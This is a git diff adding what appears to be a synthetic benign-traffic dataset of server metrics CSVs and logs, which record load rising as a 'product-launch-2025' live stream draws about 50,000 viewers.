+2025-08-22T10:00:20Z,10.78,38.85,6.29,1.51,19.41 +2025-08-22T10:00:25Z,10.78,37.47,8.3,1.5,13.86 +2025-08-22T10:00:30Z,10.29,37.61,9.09,1.8,19.61 +2025-08-22T10:00:35Z,14.33,37.14,7.78,1.65,19.05 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+2025-08-22T10:07:05Z,53.25,35.87,8.7,1.64,717.98 +2025-08-22T10:07:10Z,62.76,38.45,8.49,1.03,678.45 +2025-08-22T10:07:15Z,61.41,36.93,8.51,1.59,687.49 +2025-08-22T10:07:20Z,63.93,39.68,6.8,1.94,780.83 +2025-08-22T10:07:25Z,59.62,35.69,6.47,1.58,669.65 diff --git a/norm_dataset/scenario_7/norm_7_18.log b/norm_dataset/scenario_7/norm_7_18.log new file mode 100644 index 0000000000000000000000000000000000000000..c9536f24a3637b13eb3fe7f6c72292dfffe84155 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_18.log @@ -0,0 +1,92 @@ +Aug 22 10:00:00 web-app[2345]: GET /api/v1/status status=200 OK +Aug 22 10:00:00 cdn-access[8080]: GET /stream/upcoming.m3u8 status=200 OK +Aug 22 10:00:00 systemd[1]: Starting daily health check... +Aug 22 10:00:25 web-app[2345]: GET /api/v1/status status=200 OK +Aug 22 10:00:35 cdn-access[8080]: GET /stream/upcoming.m3u8 status=200 OK +Aug 22 10:00:50 web-app[2345]: GET /api/v1/status status=200 OK +Aug 22 10:00:50 systemd[1]: Starting daily health check... +Aug 22 10:01:10 cdn-access[8080]: GET /stream/upcoming.m3u8 status=200 OK +Aug 22 10:01:15 web-app[2345]: GET /api/v1/status status=200 OK +Aug 22 10:01:40 web-app[2345]: GET /api/v1/status status=200 OK +Aug 22 10:01:40 systemd[1]: Starting daily health check... +Aug 22 10:01:45 cdn-access[8080]: GET /stream/upcoming.m3u8 status=200 OK +Aug 22 10:02:05 web-app[2345]: GET /api/v1/status status=200 OK +Aug 22 10:02:20 cdn-access[8080]: GET /stream/upcoming.m3u8 status=200 OK +Aug 22 10:02:30 web-app[2345]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/playlist.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/playlist.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/playlist.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/playlist.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/playlist.m3u8 status=200 OK +Aug 22 10:02:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:02:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:02:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:02:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:02:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment4.ts status=206 Partial Content +Aug 22 10:02:55 web-app[2345]: INFO: Current viewers: 48165. +Aug 22 10:03:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment4.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:03:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:03:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:03:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:03:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:03:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:03:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:03:45 web-app[2345]: INFO: Current viewers: 51552. +Aug 22 10:03:45 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:03:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:03:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:04:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:04:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:04:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:04:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:04:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:04:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:04:35 web-app[2345]: INFO: Current viewers: 51031. +Aug 22 10:04:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:04:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:04:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:04:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment16.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment16.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:05:00 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:05:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment19.ts status=206 Partial Content +Aug 22 10:05:25 web-app[2345]: INFO: Current viewers: 49358. +Aug 22 10:05:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment19.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:05:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:05:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:06:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:06:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:06:15 web-app[2345]: INFO: Current viewers: 49019. +Aug 22 10:06:15 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:06:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:06:30 cdn-access[8080]: GET /stream/live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:06:40 cdn-access[8080]: GET /stream/live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:06:50 cdn-access[8080]: GET /stream/live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:07:00 cdn-access[8080]: GET /stream/live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:07:05 web-app[2345]: INFO: Current viewers: 48541. +Aug 22 10:07:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:07:10 cdn-access[8080]: GET /stream/live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:07:20 cdn-access[8080]: GET /stream/live/product-launch-2025/segment31.ts status=206 Partial Content diff --git a/norm_dataset/scenario_7/norm_7_19.csv b/norm_dataset/scenario_7/norm_7_19.csv new file mode 100644 index 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b/norm_dataset/scenario_7/norm_7_19.log @@ -0,0 +1,113 @@ +Aug 22 14:00:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:30 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 14:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 14:01:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 14:01:30 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 14:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:00 web-app[3456]: GET /api/v1/status status=200 OK +Aug 22 14:02:30 web-app[3456]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 14:02:30 cdn-access[8080]: GET /live/stream.m3u8 status=200 OK +Aug 22 14:02:30 cdn-access[8080]: GET /live/stream.m3u8 status=200 OK +Aug 22 14:02:35 cdn-access[8080]: GET /live/segment_31.ts status=206 Partial Content +Aug 22 14:02:40 cdn-access[8080]: GET /live/segment_32.ts status=206 Partial Content +Aug 22 14:02:40 cdn-access[8080]: GET /live/segment_33.ts status=206 Partial Content +Aug 22 14:02:45 cdn-access[8080]: GET /live/segment_33.ts status=206 Partial Content +Aug 22 14:02:50 cdn-access[8080]: GET /live/segment_34.ts status=206 Partial Content +Aug 22 14:02:50 cdn-access[8080]: GET /live/segment_35.ts status=206 Partial Content +Aug 22 14:02:55 cdn-access[8080]: GET /live/segment_35.ts status=206 Partial Content +Aug 22 14:02:55 web-app[3456]: INFO: Current viewers: 6331 +Aug 22 14:03:00 cdn-access[8080]: GET /live/segment_36.ts status=206 Partial Content +Aug 22 14:03:00 cdn-access[8080]: GET /live/segment_37.ts status=206 Partial Content +Aug 22 14:03:05 cdn-access[8080]: GET /live/segment_37.ts status=206 Partial Content +Aug 22 14:03:10 cdn-access[8080]: GET /live/segment_38.ts status=206 Partial Content +Aug 22 14:03:10 cdn-access[8080]: GET /live/segment_39.ts status=206 Partial Content +Aug 22 14:03:15 cdn-access[8080]: GET /live/segment_39.ts status=206 Partial Content +Aug 22 14:03:20 cdn-access[8080]: GET /live/segment_40.ts status=206 Partial Content +Aug 22 14:03:20 cdn-access[8080]: GET /live/segment_41.ts status=206 Partial Content +Aug 22 14:03:20 web-app[3456]: INFO: Current viewers: 12155 +Aug 22 14:03:25 cdn-access[8080]: GET /live/segment_41.ts status=206 Partial Content +Aug 22 14:03:30 cdn-access[8080]: GET /live/segment_42.ts status=206 Partial Content +Aug 22 14:03:30 cdn-access[8080]: GET /live/segment_43.ts status=206 Partial Content +Aug 22 14:03:35 cdn-access[8080]: GET /live/segment_43.ts status=206 Partial Content +Aug 22 14:03:40 cdn-access[8080]: GET /live/segment_44.ts status=206 Partial Content +Aug 22 14:03:40 cdn-access[8080]: GET /live/segment_45.ts status=206 Partial Content +Aug 22 14:03:45 cdn-access[8080]: GET /live/segment_45.ts status=206 Partial Content +Aug 22 14:03:45 web-app[3456]: INFO: Current viewers: 20272 +Aug 22 14:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:03:50 cdn-access[8080]: GET /live/segment_46.ts status=206 Partial Content +Aug 22 14:03:50 cdn-access[8080]: GET /live/segment_47.ts status=206 Partial Content +Aug 22 14:03:55 cdn-access[8080]: GET /live/segment_47.ts status=206 Partial Content +Aug 22 14:04:00 cdn-access[8080]: GET /live/segment_48.ts status=206 Partial Content +Aug 22 14:04:00 cdn-access[8080]: GET /live/segment_49.ts status=206 Partial Content +Aug 22 14:04:05 cdn-access[8080]: GET /live/segment_49.ts status=206 Partial Content +Aug 22 14:04:10 cdn-access[8080]: GET /live/segment_50.ts status=206 Partial Content +Aug 22 14:04:10 cdn-access[8080]: GET /live/segment_51.ts status=206 Partial Content +Aug 22 14:04:10 web-app[3456]: INFO: Current viewers: 25787 +Aug 22 14:04:15 cdn-access[8080]: GET /live/segment_51.ts status=206 Partial Content +Aug 22 14:04:20 cdn-access[8080]: GET /live/segment_52.ts status=206 Partial Content +Aug 22 14:04:20 cdn-access[8080]: GET /live/segment_53.ts status=206 Partial Content +Aug 22 14:04:25 cdn-access[8080]: GET /live/segment_53.ts status=206 Partial Content +Aug 22 14:04:30 cdn-access[8080]: GET /live/segment_54.ts status=206 Partial Content +Aug 22 14:04:30 cdn-access[8080]: GET /live/segment_55.ts status=206 Partial Content +Aug 22 14:04:35 cdn-access[8080]: GET /live/segment_55.ts status=206 Partial Content +Aug 22 14:04:35 web-app[3456]: INFO: Current viewers: 31056 +Aug 22 14:04:40 cdn-access[8080]: GET /live/segment_56.ts status=206 Partial Content +Aug 22 14:04:40 cdn-access[8080]: GET /live/segment_57.ts status=206 Partial Content +Aug 22 14:04:45 cdn-access[8080]: GET /live/segment_57.ts status=206 Partial Content +Aug 22 14:04:50 cdn-access[8080]: GET /live/segment_58.ts status=206 Partial Content +Aug 22 14:04:50 cdn-access[8080]: GET /live/segment_59.ts status=206 Partial Content +Aug 22 14:04:55 cdn-access[8080]: GET /live/segment_59.ts status=206 Partial Content +Aug 22 14:05:00 cdn-access[8080]: GET /live/segment_60.ts status=206 Partial Content +Aug 22 14:05:00 cdn-access[8080]: GET /live/segment_61.ts status=206 Partial Content +Aug 22 14:05:00 web-app[3456]: INFO: Current viewers: 40184 +Aug 22 14:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:05:05 cdn-access[8080]: GET /live/segment_61.ts status=206 Partial Content +Aug 22 14:05:10 cdn-access[8080]: GET /live/segment_62.ts status=206 Partial Content +Aug 22 14:05:10 cdn-access[8080]: GET /live/segment_63.ts status=206 Partial Content +Aug 22 14:05:15 cdn-access[8080]: GET /live/segment_63.ts status=206 Partial Content +Aug 22 14:05:20 cdn-access[8080]: GET /live/segment_64.ts status=206 Partial Content +Aug 22 14:05:20 cdn-access[8080]: GET /live/segment_65.ts status=206 Partial Content +Aug 22 14:05:25 cdn-access[8080]: GET /live/segment_65.ts status=206 Partial Content +Aug 22 14:05:25 web-app[3456]: INFO: Current viewers: 47887 +Aug 22 14:05:30 cdn-access[8080]: GET /live/segment_66.ts status=206 Partial Content +Aug 22 14:05:30 cdn-access[8080]: GET /live/segment_67.ts status=206 Partial Content +Aug 22 14:05:35 cdn-access[8080]: GET /live/segment_67.ts status=206 Partial Content +Aug 22 14:05:40 cdn-access[8080]: GET /live/segment_68.ts status=206 Partial Content +Aug 22 14:05:40 cdn-access[8080]: GET /live/segment_69.ts status=206 Partial Content +Aug 22 14:05:45 cdn-access[8080]: GET /live/segment_69.ts status=206 Partial Content +Aug 22 14:05:50 cdn-access[8080]: GET /live/segment_70.ts status=206 Partial Content +Aug 22 14:05:50 cdn-access[8080]: GET /live/segment_71.ts status=206 Partial Content +Aug 22 14:05:50 web-app[3456]: INFO: Current viewers: 48630 +Aug 22 14:05:55 cdn-access[8080]: GET /live/segment_71.ts status=206 Partial Content +Aug 22 14:06:00 cdn-access[8080]: GET /live/segment_72.ts status=206 Partial Content +Aug 22 14:06:00 cdn-access[8080]: GET /live/segment_73.ts status=206 Partial Content +Aug 22 14:06:05 cdn-access[8080]: GET /live/segment_73.ts status=206 Partial Content +Aug 22 14:06:10 cdn-access[8080]: GET /live/segment_74.ts status=206 Partial Content +Aug 22 14:06:10 cdn-access[8080]: GET /live/segment_75.ts status=206 Partial Content +Aug 22 14:06:15 cdn-access[8080]: GET /live/segment_75.ts status=206 Partial Content +Aug 22 14:06:15 web-app[3456]: INFO: Current viewers: 49500 +Aug 22 14:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 14:06:20 cdn-access[8080]: GET /live/segment_76.ts status=206 Partial Content +Aug 22 14:06:20 cdn-access[8080]: GET /live/segment_77.ts status=206 Partial Content +Aug 22 14:06:25 cdn-access[8080]: GET /live/segment_77.ts status=206 Partial Content +Aug 22 14:06:30 cdn-access[8080]: GET /live/segment_78.ts status=206 Partial Content +Aug 22 14:06:30 cdn-access[8080]: GET /live/segment_79.ts status=206 Partial Content +Aug 22 14:06:35 cdn-access[8080]: GET /live/segment_79.ts status=206 Partial Content +Aug 22 14:06:40 cdn-access[8080]: GET /live/segment_80.ts status=206 Partial Content +Aug 22 14:06:40 cdn-access[8080]: GET /live/segment_81.ts status=206 Partial Content +Aug 22 14:06:40 web-app[3456]: INFO: Current viewers: 50081 +Aug 22 14:06:45 cdn-access[8080]: GET /live/segment_81.ts status=206 Partial Content +Aug 22 14:06:50 cdn-access[8080]: GET /live/segment_82.ts status=206 Partial Content +Aug 22 14:06:50 cdn-access[8080]: GET /live/segment_83.ts status=206 Partial Content +Aug 22 14:06:55 cdn-access[8080]: GET /live/segment_83.ts status=206 Partial Content +Aug 22 14:07:00 cdn-access[8080]: GET /live/segment_84.ts status=206 Partial Content +Aug 22 14:07:00 cdn-access[8080]: GET /live/segment_85.ts status=206 Partial Content +Aug 22 14:07:05 cdn-access[8080]: GET /live/segment_85.ts status=206 Partial Content +Aug 22 14:07:05 web-app[3456]: INFO: Current viewers: 50922 +Aug 22 14:07:10 cdn-access[8080]: GET /live/segment_86.ts status=206 Partial Content +Aug 22 14:07:10 cdn-access[8080]: GET /live/segment_87.ts status=206 Partial Content +Aug 22 14:07:15 cdn-access[8080]: GET /live/segment_87.ts status=206 Partial Content +Aug 22 14:07:20 cdn-access[8080]: GET /live/segment_88.ts status=206 Partial Content +Aug 22 14:07:20 cdn-access[8080]: GET /live/segment_89.ts status=206 Partial Content +Aug 22 14:07:25 cdn-access[8080]: GET /live/segment_89.ts status=206 Partial Content diff --git a/norm_dataset/scenario_7/norm_7_2.csv b/norm_dataset/scenario_7/norm_7_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..85456db5bf3e5346a67ecdc0a8fa7f6d9622abc0 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,connections +2025-07-02 12:00:00+00:00,10.86,38.45,29.71,12.41,11.77,114 +2025-07-02 12:00:05+00:00,13.59,44.96,23.68,8.92,24.56,146 +2025-07-02 12:00:10+00:00,13.03,42.50,32.69,13.88,12.84,116 +2025-07-02 12:00:15+00:00,10.82,43.98,38.04,14.71,17.25,59 +2025-07-02 12:00:20+00:00,12.25,35.59,36.54,10.47,12.71,129 +2025-07-02 12:00:25+00:00,12.61,39.42,28.38,14.25,19.16,127 +2025-07-02 12:00:30+00:00,12.53,39.62,28.65,5.82,12.31,100 +2025-07-02 12:00:35+00:00,10.46,39.73,29.06,12.19,12.92,70 +2025-07-02 12:00:40+00:00,10.64,37.42,39.65,7.22,10.50,101 +2025-07-02 12:00:45+00:00,14.21,37.24,33.90,7.88,21.42,119 +2025-07-02 12:00:50+00:00,14.52,35.70,33.02,11.62,18.74,103 +2025-07-02 12:00:55+00:00,13.40,35.80,32.35,7.99,24.26,81 +2025-07-02 12:01:00+00:00,10.47,35.16,35.71,7.14,22.70,57 +2025-07-02 12:01:05+00:00,10.18,37.20,26.26,5.79,19.38,131 +2025-07-02 12:01:10+00:00,11.43,41.11,31.00,11.21,19.53,81 +2025-07-02 12:01:15+00:00,13.33,35.40,30.84,8.74,17.61,109 +2025-07-02 12:01:20+00:00,13.73,35.32,26.21,9.45,24.66,135 +2025-07-02 12:01:25+00:00,14.53,37.72,34.22,6.41,16.16,82 +2025-07-02 12:01:30+00:00,12.07,39.53,34.12,6.46,22.81,131 +2025-07-02 12:01:35+00:00,10.58,41.87,31.68,11.12,15.87,105 +2025-07-02 12:01:40+00:00,13.95,42.44,25.82,6.32,20.76,111 +2025-07-02 12:01:45+00:00,14.39,39.18,23.65,13.76,11.98,67 +2025-07-02 12:01:50+00:00,13.11,42.60,35.19,11.13,22.16,144 +2025-07-02 12:01:55+00:00,11.04,41.83,22.24,12.92,11.42,123 +2025-07-02 12:02:00+00:00,10.34,36.51,32.45,11.96,11.42,137 +2025-07-02 12:02:05+00:00,12.05,38.18,29.02,14.98,20.20,112 +2025-07-02 12:02:10+00:00,10.57,38.36,27.66,11.94,24.05,71 +2025-07-02 12:02:15+00:00,14.50,36.00,36.91,11.06,15.11,106 +2025-07-02 12:02:20+00:00,12.09,39.06,37.22,9.30,15.45,63 +2025-07-02 12:02:25+00:00,11.25,44.88,29.93,10.35,15.84,54 +2025-07-02 12:02:30+00:00,95.50,58.07,31.31,55.00,850.00,55000 +2025-07-02 12:02:35+00:00,86.11,56.02,29.31,34.61,678.35,50460 +2025-07-02 12:02:40+00:00,88.74,56.48,29.97,27.62,611.82,48540 +2025-07-02 12:02:45+00:00,83.18,55.87,27.41,29.29,691.21,49029 +2025-07-02 12:02:50+00:00,88.25,52.34,43.12,35.10,597.23,50664 +2025-07-02 12:02:55+00:00,75.39,51.68,27.31,32.22,662.98,51575 +2025-07-02 12:03:00+00:00,85.63,50.03,32.07,29.97,612.44,49086 +2025-07-02 12:03:05+00:00,75.98,50.58,42.21,20.68,573.89,51033 +2025-07-02 12:03:10+00:00,79.52,56.06,29.63,22.06,646.63,51317 +2025-07-02 12:03:15+00:00,88.93,59.57,26.63,36.52,610.83,49837 +2025-07-02 12:03:20+00:00,85.71,56.25,34.42,21.52,655.29,51185 +2025-07-02 12:03:25+00:00,89.53,53.16,34.66,35.08,679.95,51635 +2025-07-02 12:03:30+00:00,76.40,55.86,38.80,23.28,659.07,49256 +2025-07-02 12:03:35+00:00,78.86,58.60,41.23,21.42,588.28,49760 +2025-07-02 12:03:40+00:00,77.10,58.93,35.43,20.21,696.02,50103 +2025-07-02 12:03:45+00:00,83.15,59.59,37.00,36.11,687.22,51448 +2025-07-02 12:03:50+00:00,89.73,57.39,39.46,34.91,579.05,50210 +2025-07-02 12:03:55+00:00,82.28,52.87,25.36,24.35,626.74,48243 +2025-07-02 12:04:00+00:00,87.04,56.54,39.56,23.35,603.79,51108 +2025-07-02 12:04:05+00:00,88.85,59.81,34.33,32.28,566.28,49036 +2025-07-02 12:04:10+00:00,88.05,50.71,26.87,28.97,688.10,48873 +2025-07-02 12:04:15+00:00,82.12,53.63,33.29,21.40,631.48,50809 +2025-07-02 12:04:20+00:00,78.67,59.40,27.33,21.21,567.02,51821 +2025-07-02 12:04:25+00:00,88.31,53.41,35.07,26.01,568.50,51186 +2025-07-02 12:04:30+00:00,87.90,54.85,43.63,29.44,559.13,51409 +2025-07-02 12:04:35+00:00,85.63,52.58,30.89,25.23,627.95,51441 +2025-07-02 12:04:40+00:00,77.67,51.37,35.77,34.80,551.75,51641 +2025-07-02 12:04:45+00:00,84.65,53.02,31.32,38.14,603.29,50220 +2025-07-02 12:04:50+00:00,89.35,55.96,35.08,22.55,696.75,49905 +2025-07-02 12:04:55+00:00,87.58,55.48,30.83,37.07,666.79,50763 +2025-07-02 12:05:00+00:00,76.59,51.30,40.14,27.52,678.09,51086 +2025-07-02 12:05:05+00:00,79.83,51.54,26.59,36.61,600.19,51624 +2025-07-02 12:05:10+00:00,77.17,50.35,43.94,35.45,639.71,50738 +2025-07-02 12:05:15+00:00,75.22,56.17,26.39,32.14,587.87,48169 +2025-07-02 12:05:20+00:00,85.72,52.52,31.03,20.29,655.71,50986 +2025-07-02 12:05:25+00:00,82.96,50.36,30.12,38.04,590.85,49521 +2025-07-02 12:05:30+00:00,76.65,55.23,42.35,34.75,672.02,50421 +2025-07-02 12:05:35+00:00,75.08,50.99,40.85,21.63,670.19,50180 +2025-07-02 12:05:40+00:00,77.73,54.94,36.02,24.35,666.76,50470 +2025-07-02 12:05:45+00:00,76.66,54.41,41.82,29.82,665.57,51353 +2025-07-02 12:05:50+00:00,84.08,56.39,30.07,33.98,682.67,49955 +2025-07-02 12:05:55+00:00,76.07,55.14,44.68,34.38,687.49,51832 +2025-07-02 12:06:00+00:00,80.53,52.74,38.08,33.25,580.92,51271 +2025-07-02 12:06:05+00:00,78.52,50.98,40.44,30.43,577.72,50544 +2025-07-02 12:06:10+00:00,82.96,59.38,28.08,27.27,647.20,51301 +2025-07-02 12:06:15+00:00,89.40,56.46,25.62,23.62,613.88,51627 +2025-07-02 12:06:20+00:00,84.54,58.08,27.01,25.04,590.36,50414 +2025-07-02 12:06:25+00:00,78.63,51.33,25.93,23.88,567.32,51076 +2025-07-02 12:06:30+00:00,87.71,54.52,26.10,31.28,654.84,49611 +2025-07-02 12:06:35+00:00,87.88,50.35,43.04,20.96,680.56,50090 +2025-07-02 12:06:40+00:00,80.76,54.54,26.72,31.78,609.62,49308 +2025-07-02 12:06:45+00:00,82.10,50.27,33.36,37.98,624.68,48844 +2025-07-02 12:06:50+00:00,77.55,59.18,30.17,28.83,676.80,48383 +2025-07-02 12:06:55+00:00,76.55,52.53,35.61,28.88,672.97,49796 +2025-07-02 12:07:00+00:00,84.41,54.39,30.95,28.40,570.15,49647 +2025-07-02 12:07:05+00:00,79.75,57.84,27.06,37.28,552.15,48847 +2025-07-02 12:07:10+00:00,75.27,52.23,41.52,37.85,597.93,49868 +2025-07-02 12:07:15+00:00,86.78,53.45,27.47,35.01,696.31,51502 +2025-07-02 12:07:20+00:00,84.31,59.62,29.03,30.35,674.57,48480 +2025-07-02 12:07:25+00:00,86.52,57.68,40.04,39.33,678.20,48070 diff --git a/norm_dataset/scenario_7/norm_7_2.log b/norm_dataset/scenario_7/norm_7_2.log new file mode 100644 index 0000000000000000000000000000000000000000..1c8e53ea6630ca715957311c13f9ae1b62b2dae8 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_2.log @@ -0,0 +1,294 @@ +Jul 02 12:00:00 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:00:00 web-app[3341]: INFO User 173 fetched their profile +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:20 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:00:35 web-app[3341]: INFO User 179 fetched their profile +Jul 02 12:00:40 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:00:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:00 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:01:10 web-app[3341]: INFO User 157 fetched their profile +Jul 02 12:01:20 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:01:40 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:45 web-app[3341]: INFO User 158 fetched their profile +Jul 02 12:02:00 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:02:20 web-app[3341]: GET /api/v1/status status=200 OK +Jul 02 12:02:20 web-app[3341]: INFO User 130 fetched their profile +Jul 02 12:02:30 streaming-app[4567]: INFO: Live stream 'product-launch-2025' has started. +Jul 02 12:02:30 cdn-proxy[8910]: 160.40.139.185 - - [02/Jul/2025:12:02:30 +0000] "GET /live/product-launch-2025/segment3.ts HTTP/1.1" 200 1881120 "-" "VLC/3.0.16 LibVLC/3.0.16" +Jul 02 12:02:30 cdn-proxy[8910]: 203.67.23.140 - - [02/Jul/2025:12:02:30 +0000] "GET /live/product-launch-2025/segment1.ts HTTP/1.1" 200 1672528 "-" "VLC/3.0.16 LibVLC/3.0.16" +Jul 02 12:02:30 cdn-proxy[8910]: 84.6.190.133 - - [02/Jul/2025:12:02:30 +0000] "GET /live/product-launch-2025/segment4.ts HTTP/1.1" 200 1880305 "-" "VLC/3.0.16 LibVLC/3.0.16" +Jul 02 12:02:30 cdn-proxy[8910]: 108.118.72.67 - - [02/Jul/2025:12:02:30 +0000] "GET /live/product-launch-2025/segment1.ts HTTP/1.1" 200 1611138 "-" 